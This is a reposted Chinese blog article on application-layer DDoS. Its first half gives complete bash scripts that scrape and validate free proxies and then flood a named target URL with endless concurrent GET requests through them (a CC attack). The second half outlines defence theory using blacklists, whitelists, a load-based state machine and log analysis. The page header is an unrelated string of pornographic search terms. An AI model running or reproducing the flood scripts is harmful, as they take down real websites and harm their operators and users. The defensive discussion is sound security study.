日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

DDoS攻防战 (二) :CC攻击工具实现与防御理论

發(fā)布時(shí)間:2025/3/14 编程问答 25 豆豆
生活随笔 收集整理的這篇文章主要介紹了 DDoS攻防战 (二) :CC攻击工具实现与防御理论 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

?

故上兵伐謀 其次伐交 其次伐兵 其下攻城 攻城之法 為不得已

知己知彼 百戰(zhàn)不殆 不知彼而知己 一勝一負(fù) 不知彼不知己 每戰(zhàn)必?cái)?/strong>

——孫子兵法·謀攻

?

? 我們將要實(shí)現(xiàn)一個(gè)進(jìn)行應(yīng)用層DDoS攻擊的工具,綜合考慮,CC攻擊方式是最佳選擇,并用bash shell腳本來(lái)快速實(shí)現(xiàn)并驗(yàn)證這一工具,并在最后,討論如何防御來(lái)自應(yīng)用層的DDoS攻擊。

? 第一步:獲取大量可用代理ip:port列表

??網(wǎng)上所處可見免費(fèi)代理,我們使用http的GET方法抓取html文檔,接著使用正則過(guò)濾出我們需要的ip port對(duì),然后逐一驗(yàn)證各代理的可用性,最終得到可用的代理ip port對(duì)。

1 grab_proxy.sh 1 #!/bin/bash 2 3 #get proxy list 4 declare proxyListFile="proxy.txt" 5 declare tmpFile=`mktemp` 6 declare url 7 declare line 8 declare times 9 declare ip 10 declare port 11 declare i 12 declare j 13 declare mod 14 15 function quit() { 16 rm -f $tmpFile 17 exit "$1" 18 } 19 20 echo "get proxy list... please wait..." 21 22 if [ -r "$proxyListFile" ] 23 then 24 rm -f $proxyListFile 25 fi 26 27 touch $proxyListFile 28 29 for url in " http://www.youdaili.cn/Daili/guonei/2215.html " \ 30 " http://www.youdaili.cn/Daili/guonei/2215_2.html" \ 31 " http://www.youdaili.cn/Daili/guonei/2215_3.html" \ 32 " http://www.youdaili.cn/Daili/guonei/2215_4.html " 33 do 34 if GET "$url" > $tmpFile 35 then 36 grep -oE '^.*<br />.*$' "$tmpFile" | grep -Eo "([0-9]+)(\.[0-9]+){3}:([0-9]+)" \ 37 | sort -n | uniq | awk -F: '{ printf("%-15s %s \n",$1,$2); }' >> $proxyListFile 38 else 39 exec 1>&2 40 echo "error: get proxy list fail! chech the url:$url or the network" 41 quit 1 42 fi 43 done 44 45 echo "done. total `cat $proxyListFile | wc -l` proxy" 46 47 quit 0 48 #exit View Code

? 參數(shù):

? declare proxyListFile="proxy.txt" ?#抓取到的代理ip port對(duì)所存放的文件路徑

1 check_proxy.sh 1 #!/bin/bash 2 3 #get proxy list 4 declare check_threads=10 5 declare line 6 declare times 7 declare ip 8 declare port 9 declare i 10 declare j 11 declare mod 12 13 function quit() { 14 exit "$1" 15 } 16 17 #echo "start check proxy's functionality..." 18 19 #retarget the input file to stdin 20 if [ "$#" -gt "0" ] 21 then 22 exec 0<$1 23 else 24 exec 1>&2 25 echo "usage: bash $0 proxyListFile.txt" 26 echo "error: must have one input arg" 27 quit 1 28 fi 29 30 #check proxy's functionality 31 times=0 32 while read line 33 do 34 times=$((times+1)) 35 j=0 36 for i in `echo $line | tr ' ' '\n' | grep -E '^[^\s].*$'` 37 do 38 j=$((j+1)) 39 if [ "$j" -eq 1 ] 40 then 41 ip=$i 42 else 43 port=$i 44 fi 45 done 46 #echo "times=$times ip=$ip port=$port" 47 # start test 48 if GET -t 5 -p "http://$ip:$port" "http://baidu.com" &>/dev/null 49 then 50 echo "$ip $port" 51 echo ":) ip=$ip port=$port " &>/dev/null 52 else 53 echo "invalid ip=$ip port=$port : please check ip:host or network" &>/proc/self/fd/2 54 fi & 55 mod=$((times%check_threads)) 56 if [ "$mod" -eq "0" ] 57 then 58 wait 59 fi 60 done 61 62 #close the fd of input file 63 exec 0>&- 64 quit 0 65 #exit View Code

? 參數(shù):

? declare check_threads=10 #驗(yàn)證代理可用性時(shí)的并發(fā)數(shù),看一下代碼就會(huì)發(fā)現(xiàn),我們使用的是GET?http://baidu.com方法,所以,并發(fā)數(shù)請(qǐng)不要也太高 :) 除非你的目標(biāo)就是......

? 總結(jié):應(yīng)征入伍的士兵共計(jì)600人,經(jīng)過(guò)考核的共計(jì)449人,如果你還想招募更多的士兵,奉勸一句,苦海無(wú)邊,回頭是岸。
?第二步:吹響戰(zhàn)爭(zhēng)號(hào)角

?筆者在一臺(tái)VPS上建立了一個(gè)薄弱的靶機(jī),各位讀者請(qǐng)不要太暴力,測(cè)試一下就可以了,地址?http://eecs.cc:8080/

? 筆者把這么重要的信息都放出來(lái)了,讀者請(qǐng)點(diǎn)個(gè)贊吧 ?:)

1 cc.sh 1 #!/bin/bash 2 3 declare target_url="http://eecs.cc:8080/" 4 declare get_timeout_sec=5 5 declare line 6 declare times 7 declare ip 8 declare port 9 declare i 10 declare j 11 12 function quit() { 13 exit "$1" 14 } 15 16 #retarget the input file to stdin 17 if ! [ "$#" -gt "0" ] 18 then 19 exec 1>&2 20 echo "challenge collapsar attack -- cc attack" 21 echo "usage: bash $0 proxyListFile.txt" 22 echo "error: must have one input arg" 23 quit 1 24 fi 25 26 echo "report : total `cat $1 | wc -l` proxy-soldiers are ready for command" 27 echo "command: target: $target_url" 28 echo "command: start challenge collapsar attack :) amazing..." 29 30 exec 0<$1 31 #start challenge collapsar attack 32 33 while true 34 do 35 times=0 36 exec 0<&- 37 exec 0<$1 38 while read line 39 do 40 times=$((times+1)) 41 j=0 42 for i in `echo $line | tr ' ' '\n' | grep -E '^[^\s].*$'` 43 do 44 j=$((j+1)) 45 if [ "$j" -eq 1 ] 46 then 47 ip=$i 48 else 49 port=$i 50 fi 51 done 52 echo "times=$times ip=$ip port=$port" 53 #single soldier attack 54 if GET -t "$get_timeout_sec" -p "http://$ip:$port" "$target_url" &>/dev/null 55 then 56 echo "soldier$times attack $target_url :)" 57 else 58 echo "soldier$times attack $target_url miss" 59 fi & 60 done 61 wait 62 done 63 64 #close the fd of input file 65 exec 0>&- 66 quit 0 67 #exit View Code

? 讀者可自行嘗試攻擊這個(gè)站點(diǎn),然后使用瀏覽器訪問(wèn)查看服務(wù)器網(wǎng)絡(luò)狀況,此時(shí)大量連接處于TIME_WAIT狀態(tài),參考TCP狀態(tài)機(jī),這一狀態(tài)為主動(dòng)關(guān)閉一方的最終等待狀態(tài)。

? 請(qǐng)不要惡意攻擊別人的網(wǎng)站 如果因此被關(guān)了進(jìn)去 沒(méi)有人能把你弄出來(lái)

???

? 應(yīng)用層DDoS的防御理論:

? 問(wèn)題模型描述:

??每一個(gè)頁(yè)面,都有其資源消耗權(quán)重,靜態(tài)資源,權(quán)重較低,動(dòng)態(tài)資源,權(quán)重較高。對(duì)于用戶訪問(wèn),有如下:

??用戶資源使用頻率=使用的服務(wù)器總資源量/s

? 命題一:對(duì)于正常訪問(wèn)的用戶,資源使用頻率必定位于一個(gè)合理的范圍,當(dāng)然會(huì)存在大量正常用戶共享ip的情況,這就需要日常用戶訪問(wèn)統(tǒng)計(jì),以得到忠實(shí)用戶ip白名單。

? 命題二:資源使用頻率持續(xù)異常的,可斷定為訪問(wèn)異常的用戶。

?

? 防御體系狀態(tài)機(jī):

? 1.在系統(tǒng)各項(xiàng)資源非常寬裕時(shí),向所有ip提供服務(wù),每隔一段時(shí)間釋放一部分臨時(shí)黑名單中的ip成員;

? 2.在系統(tǒng)資源消耗達(dá)到某一閾值時(shí),降低Syn包接受速率,循環(huán):分析最近時(shí)間的日志,并將訪問(wèn)異常的ip加入臨時(shí)黑名單;

? 3.若系統(tǒng)資源消耗慢慢回降至正常水平,則恢復(fù)Syn包接受速率,轉(zhuǎn)到狀態(tài)1;若目前策略并未有效地控制住系統(tǒng)資源消耗的增長(zhǎng),情況繼續(xù)惡劣至一極限閾值,轉(zhuǎn)到狀態(tài)4;

? 4.最終防御方案,使用忠實(shí)用戶ip白名單、異常訪問(wèn)ip黑名單策略,其他訪問(wèn)可慢慢放入,直到系統(tǒng)資源消耗回降至正常水平,轉(zhuǎn)到狀態(tài)1。

?

?上述的防御狀態(tài)機(jī),對(duì)于單個(gè)攻擊IP高并發(fā)的DDOS,變化到狀態(tài)3時(shí),效果就完全體現(xiàn)出來(lái)了,但如果防御狀態(tài)機(jī)進(jìn)行到4狀態(tài),則有如下兩種可能:

? 1.站點(diǎn)遭到了攻擊群龐大的、單個(gè)IP低并發(fā)的DDOS攻擊;?

? 2.站點(diǎn)突然間有了很多訪問(wèn)正常的新用戶。

?建議后續(xù)工作:

? 保守:站點(diǎn)應(yīng)盡快進(jìn)行服務(wù)能力升級(jí)。

? 積極:盡所能,追溯攻擊者。?

??

? 追溯攻擊者:
? ? CC:proxy-forward-from-ip
? ? 單個(gè)IP高并發(fā)的DDOS:找到訪問(wèn)異常的、高度可疑的ip列表,exploit,搜集、分析數(shù)據(jù),因?yàn)橐粋€(gè)傀儡主機(jī)可被二次攻占的概率很大(但不建議這種方法)
? ? 單個(gè)IP低并發(fā)的DDOS:以前極少訪問(wèn)被攻擊站點(diǎn),但是在攻擊發(fā)生時(shí),卻頻繁訪問(wèn)我們的站點(diǎn),分析日志得到這一部分ip列表

? ?追溯攻擊者的過(guò)程中,snat與web proxy增加了追蹤的難度,如果攻擊者采用多個(gè)中繼服務(wù)器的方法,追溯將變得極為困難。

? ????

??防御者:

? ? 1.應(yīng)對(duì)當(dāng)前系統(tǒng)了如指掌,如系統(tǒng)最高負(fù)載、最高數(shù)據(jù)處理能力,以及系統(tǒng)防御體系的強(qiáng)項(xiàng)與弱點(diǎn)
? ? 2.歷史日志的保存、分析
? ? 3.對(duì)當(dāng)前系統(tǒng)進(jìn)行嚴(yán)格安全審計(jì)
? ? 4.上報(bào)公安相關(guān)部分,努力追溯攻擊者
? ? 5.網(wǎng)站,能靜態(tài),就一定不要?jiǎng)討B(tài),可采取定時(shí)從主數(shù)據(jù)庫(kù)生成靜態(tài)頁(yè)面的方式,對(duì)需要訪問(wèn)主數(shù)據(jù)庫(kù)的服務(wù)使用驗(yàn)證機(jī)制

? ? 6.防御者應(yīng)能從全局的角度,迅速及時(shí)地發(fā)現(xiàn)系統(tǒng)正在處于什么程度的攻擊、何種攻擊,在平時(shí),應(yīng)該建立起攻擊應(yīng)急策略,規(guī)范化操作,免得在急中犯下低級(jí)錯(cuò)誤

? 對(duì)歷史日志的分析這時(shí)將會(huì)非常重要,數(shù)據(jù)可視化與統(tǒng)計(jì)學(xué)的方法將會(huì)很有益處:

? ? 1.分析每個(gè)頁(yè)面的平均訪問(wèn)頻率

? ? 2.對(duì)訪問(wèn)頻率異常的頁(yè)面進(jìn)行詳細(xì)分析 分析得到ip-頁(yè)面訪問(wèn)頻率

? ? 3.得到對(duì)訪問(wèn)異常頁(yè)面的訪問(wèn)異常ip列表

? ? 4.對(duì)日志分析得到忠實(shí)用戶IP白名單

? ? 5.一般一個(gè)頁(yè)面會(huì)關(guān)聯(lián)多個(gè)資源,一次對(duì)于這樣的頁(yè)面訪問(wèn)往往會(huì)同時(shí)增加多個(gè)資源的訪問(wèn)數(shù),而攻擊程序一般不會(huì)加載這些它不感興趣的資源,所以,這也是一個(gè)非常好的分析突破點(diǎn)

?

? 本文主要講述了DDoS攻擊之一的CC攻擊工具實(shí)現(xiàn),以及如何防御來(lái)自應(yīng)用層的DDoS攻擊的理論總結(jié)。接下來(lái)的文章,筆者將會(huì)實(shí)現(xiàn)一個(gè)工作于內(nèi)核態(tài)的、具有黑名單功能的防火墻模塊,以對(duì)應(yīng)于上述防御狀態(tài)機(jī)中的防火墻單元,它實(shí)現(xiàn)了自主地動(dòng)態(tài)內(nèi)存管理,使用hash表管理ip列表,并可以自定義hash表的modular。

??如有問(wèn)題或者建議,歡迎留言討論?:)

? ?

附錄:

  《DDoS攻防戰(zhàn) (一) : 概述》?

?

轉(zhuǎn)載于:https://www.cnblogs.com/SwordTao/p/3767340.html

總結(jié)

以上是生活随笔為你收集整理的DDoS攻防战 (二) :CC攻击工具实现与防御理论的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。